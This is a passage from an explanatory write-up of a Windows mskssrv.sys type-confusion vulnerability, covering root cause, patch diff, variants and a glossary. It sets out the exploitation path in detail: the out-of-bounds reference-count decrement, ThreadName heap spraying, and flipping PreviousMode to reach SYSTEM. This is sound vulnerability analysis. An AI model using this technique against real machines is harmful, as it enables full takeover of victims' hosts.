0x20of the frame with a value from the input data. If they match, it reads a flag at offset0xD0, unmaps the pages, and if the flag is set, callsObfDereferenceObjecton the pointers at offsets0x38and0x1C8. ObfDereferenceObjectdecrements a reference count. A reference count is a tally of how many parts of the system are using an object; when it reaches zero, the object is freed. Subtracting one from a count that the attacker can point at is the arbitrary decrement.
FSStreamReg::PublishRx reads offsets 0x188 and 0x198 to walk a frame list and find a suitable FrameMDL object. Both offsets lie in the out-of-bounds area, so the attacker can place controllable values there. That makes the conditions easy to satisfy and lets execution reach the arbitrary decrement: ObfDereferenceObject decrements the reference count of the object at this + 0x1C8, which is also in the out-of-bounds area.
Step 4: solve the heap layout problem
There is an obstacle. FSContextReg is 0x90 bytes including the 0x10-byte pool header, so it is served by the Low Fragmented Heap (LFH). The heap is the area of memory the kernel hands out in small blocks on request; a pool header is a small piece of bookkeeping stored just before each block. LFH is a Windows allocator mode for small blocks that packs them tightly to reduce wasted space. The memory layout therefore has to be built from 0x90-byte allocations. Named pipe objects are widely used for this on NonPagedPool, because FSContextReg is allocated in NonPagedPool. A named pipe is a channel two programs can use to send data to each other; each pipe has a kernel object behind it, and those objects can be created in large numbers to fill memory in a controlled way. NonPagedPool is a region of kernel memory that is guaranteed to stay in physical RAM, never swapped to disk.

The picture shows the memory layout when named pipe objects are used. The problem is visible: offset 0x1C8 falls inside the header area of a named pipe object, which users cannot control. The decrement target would not be attacker-chosen, so the primitive would not work.
Step 5: use ThreadName objects instead
The author searched for a better object and found ThreadName, set through NtSetInformationThread. This is a Windows system call, a function a normal program can ask the kernel to perform:
NTSTATUS __stdcall NtSetInformationThread(HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength){ ... switch(ThreadInformationClass) ... case ThreadNameInformation: if ( ThreadInformationLength == 16 ) { result = ObReferenceObjectByHandleWithTag(ThreadHandle, 0x400u, (POBJECT_TYPE)PsThreadType, prev_mode, 0x79517350u, &ThreadObj, 0i64); ... *(UNICODE_STRING *)ThreadName_Unicode = *(UNICODE_STRING *)ThreadInformation; ... NameMem = (char *)ExAllocatePoolWithTag(NonPagedPoolNx, ThreadName_Unicode.Length + 16i64, 0x6D4E6854u); ThreadName = (_UNICODE_STRING *)NameMem; if(ThreadName) { NameArea = (wchar_t *)(NameMem + 0x10); ThreadName->Buffer = NameArea; ThreadName->Length = ThreadName_Unicode.Length; ThreadName->MaximumLength = ThreadName_Unicode.Length; memmove(NameArea, ThreadName_Unicode.Buffer, ThreadName_Unicode.Length); ... OldName = ThreadObj->ThreadName; ThreadObj->ThreadName = ThreadName; ... if ( OldName ) ExFreePoolWithTag(OldName, 0x6D4E6854u); ... } ...}
In plain words:
- The function receives a thread handle, a class number that says what kind of information is being set, a pointer to the data, and the data length. A thread is one stream of execution inside a program; a handle is the ticket that identifies it.
- The
switchpicks the requested class. The case that matters isThreadNameInformation, which sets a thread's name. - It looks up the thread object from the handle, then copies the caller's string description into a local variable.
- It reserves memory in
NonPagedPoolNxwithExAllocatePoolWithTag, sized as the name length plus 16 bytes. The extra 16 bytes are the header, which the caller cannot control. - It sets up the name structure so that the actual characters start 16 bytes into the block, copies the caller's characters there with
memmove, and attaches the new name to the thread object. - If the thread already had a name, the old one is freed with
ExFreePoolWithTag. That free is useful because it leaves a hole in the heap, and a hole can be filled with a new object of the attacker's choosing.
ThreadName is set with ThreadNameInformation (0x26). The object is allocated in NonPagedPool with a desired size, and all of its data is fully controllable except the first 0x10 bytes. The code also frees the previous name object, which is useful for creating a hole in the heap.

That is exactly what the exploit needs, because the offsets it cares about, 0x188 and 0x1C8, fall in the controllable part.
With this object, the values at offsets 0x188 and 0x1C8 are fully under the attacker's control, and the arbitrary decrement can be triggered.
Step 6: from decrement to SYSTEM
Using the arbitrary decrement, the exploit changes the PreviousMode field of the current thread object from User(1) to Kernel(0). PreviousMode is a flag the kernel keeps for each thread that records whether the last request came from ordinary user code or from the kernel itself. When it says User, the kernel carefully checks pointers and buffers supplied by the program. When it says Kernel, those checks are skipped, because kernel code is trusted. Flipping the flag from User(1) to Kernel(0) makes the kernel treat the thread's requests as trusted. With a thread that has Kernel authority, any well-known privilege escalation method can be used to obtain SYSTEM. SYSTEM is the built-in Windows account with the highest authority, so reaching it means full control of the machine.
Root cause
The driver stores two different object types in FileObject->FsContext2: FSContextReg (type 1, 0x78 bytes) and FSStreamReg (type 2, 0x1D8 bytes). FSRendezvousServer::FindObject accepts both types as valid, but the callers that follow, such as FSStreamReg::PublishTx and FSStreamReg::PublishRx, assume the pointer is always an FSStreamReg. Since FSContextReg is smaller and does not inherit from FSStreamReg, those functions read fields beyond the end of the allocation, giving out-of-bounds access that the attacker can steer by shaping the adjacent heap.
Impact
An attacker who can already run code with VMware's limited privilege can use this bug to raise their privilege to SYSTEM on the host, obtaining full authority over the host computer. The vulnerability was exploited in the wild, and the author notes that PoCs and exploits have existed since September 2023.
Fix
The patch renames FSRendezvousServer::FindObject to FSRendezvousServer::FindStreamObject and changes the type check so that only type 2 (FSStreamReg) objects are accepted:
-char __fastcall FSRendezvousServer::FindObject(FSRendezvousServer *this, __int64 FsContext2)+char __fastcall FSRendezvousServer::FindStreamObject(FSRendezvousServer *this, __int64 FsContext2){ if ( FsContext2 ) {- if ( *(_DWORD *)(FsContext2 + 0x30) == 1 ) // Check Type 1- {- FsContextList = (_QWORD *)((char *)this + 0x80);- /* Search Linked List to find FsContext2 */- }- else+ if ( *(_DWORD *)(FsContext2 + 0x30) == 2 ) // Check Type 2 { FsStreamList = (_QWORD *)((char *)this + 80); /* Search Linked List to find FsContext2 */ } } return 0;}
The lines starting with - are what the old code had, and the lines starting with + are what the new code has. In plain words: the old check accepted type 1 and otherwise fell through to the type 2 list. The new check only accepts type 2. With the type 1 branch removed, a FSContextReg object can no longer pass validation and reach the FSStreamReg code paths. The function is also renamed to FindStreamObject.
Variants to test
- Enumerate other IOCTL handlers in
mskssrv.systhat takeFsContext2and callFSStreamRegmethods. A positive result is a handler that accepts a type1object and reads fields past offset0x78. - Look for other drivers that store multiple object types in
FileObject->FsContext2and validate only a type tag. A positive result is a type check that accepts more than one type before a cast to a single concrete class. - Compare object sizes across sibling types in a driver. A positive result is a smaller type being accepted where a larger type is assumed, which implies out-of-bounds reads.
- Test
ThreadNameobjects as a heap spray primitive forNonPagedPoolallocations of a chosen size. A heap spray means creating many objects of the same size to fill memory in a predictable pattern. A positive result is fully controlled contents after the first0x10bytes, plus a free path that lets you create holes. - Check whether named pipe objects can place attacker-controlled data at the offsets a primitive needs. A positive result is control at the target offset; a negative result is the offset landing in an uncontrollable header, as happened here at
0x1C8. - Look for reference-count decrements on attacker-influenced pointers, such as
ObfDereferenceObjecton an out-of-bounds field. A positive result is a decrement of a chosen value, which can flip fields likePreviousMode.
Glossary
- API: a defined set of functions one program offers to another so they can talk without knowing each other's internals, like a restaurant menu that lists what you can order.
- Arbitrary decrement: the ability to subtract one from a number stored at an address the attacker chooses.
- Bugcheck: the fatal error Windows shows when the kernel cannot continue, often called a blue screen.
- Child class: a more specific type in object-oriented programming that inherits all fields of its parent type.
- Constructor: the code that sets up a new object when it is created.
- CVE: a catalogue number given to a publicly known vulnerability so people can refer to it unambiguously.
- Device: in Windows, a named object exposed by a driver that programs can open and send commands to, not necessarily hardware.
- DeviceIoControl: the Windows function a program uses to send an IOCTL command to a device.
- Driver: a program that runs in the kernel and controls hardware or provides kernel services.
- Driver Verifier: a Windows tool that watches a driver and crashes the machine when the driver breaks the rules, making bugs visible.
- Exploit: code that turns a vulnerability into a real effect, such as gaining higher privileges.
- FsContext2: a per-file slot in a Windows file object that a driver uses to store a pointer to its own data for that open file.
- Handle: a ticket a program receives when it opens a file, device or other object, used to refer to it later.
- Heap: the area of memory the system hands out in blocks on request.
- Heap spray: creating many objects of the same size to fill memory in a predictable pattern.
- Hex / hexadecimal: base-16 number notation, common in low-level programming;
0x1D8means 472 in decimal. - IOCTL: an input/output control command, a numbered request sent to a driver along with data.
- Kernel: the core of the operating system with total control over the machine.
- LFH (Low Fragmented Heap): a Windows allocator mode for small memory blocks that packs them tightly to reduce wasted space.
- Linked list: a chain of items where each item points to the next.
- MDL: a Windows structure describing a block of memory, used when pages are mapped or unmapped.
- Mutex: a lock that stops two parts of a program from touching the same data at the same time.
- Named pipe: a channel two programs can use to exchange data, backed by a kernel object.
- NonPagedPool: a region of kernel memory that always stays in physical RAM and is never swapped to disk.
- Offset: a distance in bytes from the start of a block of memory.
- Out-of-bounds: reading or writing memory outside the block that was reserved.
- Page fault: a processor error when code tries to touch memory that is not valid.
- Pointer: a number that says where something sits in memory.
- Pool header: a small piece of bookkeeping stored just before each block of pool memory.
- PoC (proof of concept): a small program that demonstrates a bug exists, often by making it crash.
- PreviousMode: a per-thread kernel flag recording whether the last request came from user code or from the kernel, which decides how strictly pointers are checked.
- Primitive: a small, reliable capability gained from a bug, used as a building block for a full attack.
- Reference count: a tally of how many parts of the system are using an object; when it reaches zero the object is freed.
- Register: a small storage slot inside the CPU.
- SYSTEM: the built-in Windows account with the highest authority on the machine.
- Thread: one stream of execution inside a program.
- Threat intelligence: watching for and analysing attacks that are actually happening.
- Type confusion: a bug where the program believes an object is one kind when it is actually another.
- Vulnerability: a weakness in software that can be used to make it behave in ways its author did not intend.
- x64: the 64-bit version of the x86 processor family used by most Windows PCs.